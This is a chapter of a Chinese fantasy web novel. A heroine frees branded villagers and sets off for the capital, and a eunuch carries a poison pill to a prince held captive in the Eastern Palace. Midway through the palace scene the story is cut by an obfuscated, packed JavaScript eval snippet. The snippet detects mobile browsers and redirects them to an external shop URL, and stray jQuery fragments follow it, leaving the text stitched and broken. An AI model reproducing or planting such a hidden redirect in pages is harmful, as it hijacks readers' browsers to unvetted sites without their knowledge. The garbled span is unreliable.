94. 囚禁

作品:《天界不出仙

    击杀了闹事的为首者,余下的苦囚便被风老集中起来,严加看管。


    原鹿林镇居民则被单独分出,列于一旁,每人眉心一一涂抹石离九调配的草药汁液。


    “天呐,我额头上的烙印真的消失了!”


    “看看我!还有没有?额头可还有烙印?”


    “没了!真的没了!大家额头上都没了!”


    ……


    活下来的鹿林镇居民爆发出压抑已久的哭喊,相拥着喜极而泣。


    在这乱世中若被烙上了苦囚之印者,则将如牲畜般被官府驱使,永世不得翻身。


    而今日,这烙印竟真被祛除了。


    数人更是猛然扑跪于石离九面前,连连磕头,“多谢神女!多谢神女!”


    石离九不知所措僵立在原地,连连摆手,“不必不必……我只是,做了该做的事。”


    还是冯琨机灵,一步抢上,稳稳托起众人。


    风老这才得空插上话,拱手道:“神女,您看……这剩下的镇西军要如何处理?”


    “莫要如此称呼我,”石离九小脸皱成一团,“风老,你浸淫官场数十载,经验远胜于我。这些事,你自行决断便是,不必事事问我。”


    风老轻轻颔首,迟疑片刻,试探问道:“神女,怪我多嘴冒昧一问……接下来,您可有去向?”


    石离九怔了怔,目光掠过那一排排营帐,“风老,你觉得……如今大元国主郭项如何?”


    “国主他……”风老一顿,幽幽叹了口气,突然换成一副恨铁不成钢的模样,“罢了!即便是冒着被砍头的风险,我也要说一句公道话——郭项,他不配做大元国主!”


    末了,他继续补充道:“先国主在时,虽有昏聩,却尚知纳谏。我上书直言,他或怒或思,终会精心与我共议国策。而如今这位……上位手段是否光明暂且不说,其心狭隘,其行荒唐!古人言:‘忠言逆耳利于行’,可他却听不得半句。若再由他当权,国之危已!国之危已啊!”


    石离九闻言,双眸微眯,听着风老那一声声沉痛的感慨,指尖微微收紧,良久,她轻声道:“郭项确实不配为君。可这天下苍生,却仍处于乱世之中,需要一人挺身而出,引百姓走出绝境,承下这份重托。”


    她转头直视风老:“风老你觉得,还有何人可担此大任?”


    风老浑身一震,眼中闪过不敢置信的亮光。


    他活了大半辈子,见过太多权谋倾轧,却从未想过,有人在这样的乱世里,问出这般直白又大胆的问题。


    他沉默片刻,左右环顾,确认无人靠近,俯身凑近,压低声音道:“我不敢妄言,可若有人能心怀百姓,不惧世家,能以公道立世……这等贤主,我还真想到一人,那便是——前二皇子,郭墨予。”


    石离九轻“嗯”一声,唇角微扬。


    她拱手一礼,“风老,这军营还要拜托你代为统辖。那些镇西军士兵也是被逼无奈才为恶人效力,若愿放下兵器,归顺正道,便给他们一条活路。若执迷不悟,也莫要滥杀,囚起来再做打算。我……我要赴京都一趟。”


    她转身,脚步未停,只留下一句轻语,随风飘散:“我徒弟,还在那儿等我。”


    ……


    ……


    南域大元王朝,京都。


    已是夜深,更深露重,霜气浮空,王宫外守卫盔甲上凝露悄然滑落,滴在地面上发出极轻的“滴答”声。


    守卫甲眼角微动,瞥见总领巡防未至,紧绷的背脊悄然一松,微微活动双臂,可手中兵器却倏然下沉,戟尖险些触底。


    若真让这武器落地,那他颈上那颗脑袋也就保不住了。


    吓得他连忙攥紧了戟杆,掌心冷汗涔涔,口中嘟囔着:“上头新发下来的武器厉是厉害……可这分量,压得人架子都快散了……”


    身旁守卫乙冷扫一眼,“莫多嘴,小心让总领听到了,罚你跑圈一整天。”


    守卫甲眼皮一抽,顿时噤若寒蝉。


    又过了约莫一个时辰,长街尽头忽响起马蹄声。


    一辆华贵的马车自暗影中驶来,车身坠玉,帘幕垂金,车头高挑一杆金边的“富”字旗。


    一位青缎短袍紧裹身形、面容清秀的少年挥鞭驾车,直抵宫门,在守卫前勒马停车,马蹄扬起。


    守卫甲横戟一出,厉声喝道:“何人!”


    那少年嗓音尖利,高声斥道:“瞎了你的狗眼,富海内侍的车驾你也敢阻拦!”


    他一双杏眼冷光流转,直逼守卫,手中马鞭未收,仿佛要随时破空抽下。


    守卫甲被那句“瞎了狗眼”震得心肝儿一颤,手心的冷汗几乎要握不住戟杆,可仍强撑着不肯退让,“宫禁森严,夜半驾车通行,需得验符!”


    “符令?”少年冷笑,扬了扬手中的马鞭,“你可认得这马车?富海内侍的马车,连四品以上官员见了都要让道,你一个看门的守卫,也敢拦我?”


    守卫甲却仍犹豫微动,他虽怕惹祸,却更怕总领知晓他擅放车驾,罪责更重。


    守卫乙悄然挪动半步,低声道:“这马车,确实是富海内侍的。富海内侍如今正得圣宠,咱们惹不起。”


    守卫甲咬牙,终是缓缓收回长戟,退开一步,沉声道:“过吧。”


    少年唇角一勾,鞭子轻扬,马蹄再次踏动。


    可就在车轮碾过宫门的霎那,他忽然回头,冷冷道:“今日你们拦我,我记下了。若富海内侍问我,我会如实禀报。”


    话音落下,马车已驰入宫门,马蹄声渐远。


    宫门重归寂静。


    守卫甲抹了把额上的汗,低骂:“这小内侍,眼神比刀子还利……对了,他为何每周都要往东宫跑?”


    守卫乙急忙“嘘”了一声,左右张望,冲他摇摇头,“小声些!我听说……他是去送毒丹的。”


    守卫甲点点头,凝望着那马车的影子隐入宫道尽头。


    马车在宫道尽头拐了个弯,径直朝东宫驶去。


    坐在座驾上的张东长舒口气,紧绷的肩线终于松弛下来。


    “吁——”


    张东勒紧马绳,骏马嘶鸣一声,在东宫门前驻足。


    他回首望向马车内,“义父,到东宫了。”


    一只白皙、毫无瑕疵的手缓缓伸出,撩开了帘幕。


    张富海自内缓步而出,一双狭长的眸子小心翼翼地扫过四周。


    他伸手轻轻搭在张东臂弯之上,沿着马凳拾级而下。


    东宫门口已有一名宫女候着,手中的灯笼在黑夜之中散发着昏暗的光晕。


    宫女快步上前,屈膝行礼,“大人,国主命奴婢在此处恭候。请随奴婢来。”


    张富海轻轻颔首,迈步跟上。


    东宫虽是储君居所,但国主郭项此时正值壮年,又是修仙者,寿元绵长,故而未着急立储,只是匆匆纳了几位年轻貌美的妃子充盈后宫。


    但数月前,他忽然下令,调遣了精锐禁军驻守东宫,封锁宫门。


    宫人窃窃私语,却无人敢严明。


    只是有一些传闻不胫而走——


    这东宫里囚禁着一个人,至于是何人,却没人能道的清。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895621|185315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    门口的守卫朝那宫女轻轻颔首示意,随即打开门锁。


    门轴转动,铁锁撞击门闩,发出一声沉闷的磕碰声。


    大门缓缓开启,一股陈腐的湿气夹杂着油灯燃尽的焦味扑面而来。


    宫女提灯在前引路,灯光摇曳,映得廊下的影子如蛇般蠕动。


    张福海走在宫女身后,指尖仍虚虚然搭在张东臂弯,却不用再借力。


    “那人可睡了?”他轻声问道。


    宫女微微侧首,答道:“刚喂他喝下汤药,此刻应是昏睡了。”


    张东眸光微闪,他目光扫过两侧廊下游走的影子,只觉此地太过神秘。


    他虽自幼侍奉在张富海左右,却是第一次踏入东宫。


    他亦十分好奇,东宫里囚禁的……究竟是何人。


    宫女再次加快脚步,穿过多重回廊,终至一座偏殿。


    殿门紧闭,门前立着两名禁军,面覆铁胄,手持长戟,纹丝不动。


    其中一人抬手阻拦,那宫女低声耳语几句,禁军才缓缓让开。


    门开一线,烛光漏出,映出内里一张紫檀床榻,雕工精美,却沾着厚厚尘灰。


    床榻中央,隐约可见一道模糊的人影,人影蜷缩着,似在沉睡,又似在梦魇中挣扎,呼吸微弱而断续。


    宫女侧身挤入殿内,张富海紧随其后,负于身后的手却朝张东摆了摆。


    张东会意,转身背对殿门,站直了身躯。


    床榻四周皆是难闻的呕吐物,及一丝丝发乌的血迹。


    张富海眉头微蹙,有些嫌弃地拎起下摆,生怕身上的锦衣被这满地的误会弄脏。


    那宫女却神色如常,将灯笼放置于门槛边,脚步轻盈地避开地上的污秽物,熟稔地朝床榻走去。


    她坐在床榻边缘,抬眸望向张富海。


    张富海缓缓从怀中掏出一枚玉盒,他指尖微颤,却不敢直接接触,反而用一方丝帕裹住盒盖,轻轻挑开。


    里面躺着一枚浑圆的丹药,通体漆黑,还泛着诡异的幽光。


    他用帕子夹住那丹药,递至宫女面前。


    宫女身躯微颤,声音有些发虚,“大人,这……奴婢也不敢碰啊。”


    “蠢货!用帕子裹着,怕什么?难不成还怕它咬你一口?”张富海不耐烦斥道。


    宫女抿了抿双唇,终是伸手接过,小心翼翼地送至卧榻之人唇边。


    就在这时,那人却猛地睁开双眸。


    他腿上铁链哗啦作响,抬腿踹出。


    宫女失声惊叫,身形踉跄后仰,手中丹药险些脱手。


    幸得张富海一步上前,臂膀稳稳托住了她摇晃的身形。


    铁链晃动的声响亦惊动了殿外守卫。


    两名禁军破门而入,长戟一横,厉声喝声:“发生了何事!”


    话音落下,原本安静躺在床榻上的那人,却缓缓坐起。


    他上身赤裸,鞭痕遍布,骨瘦嶙峋,铁链自踝骨缠绕至床柱,叮当作响。


    那张惨白的面容上,眉骨深陷,毫无血色,如同地底爬出的孤魂。


    “出去!”张富海冷声下令。


    两名禁军顿了顿,目光扫过塌上之人,瞳孔一缩,似是认出了什么,又似不敢确认。


    他们慌忙垂首,后退几步,转身出了偏殿,轻轻掩上了殿门。


    那宫女仍捂着胸口,呼吸未平。


    而张富海却望着塌上之人,目光复杂,既有一丝怜悯,又有一丝惋惜。


    东宫偏殿中囚禁之人,竟是昔日风华绝代的前二皇子——郭墨予!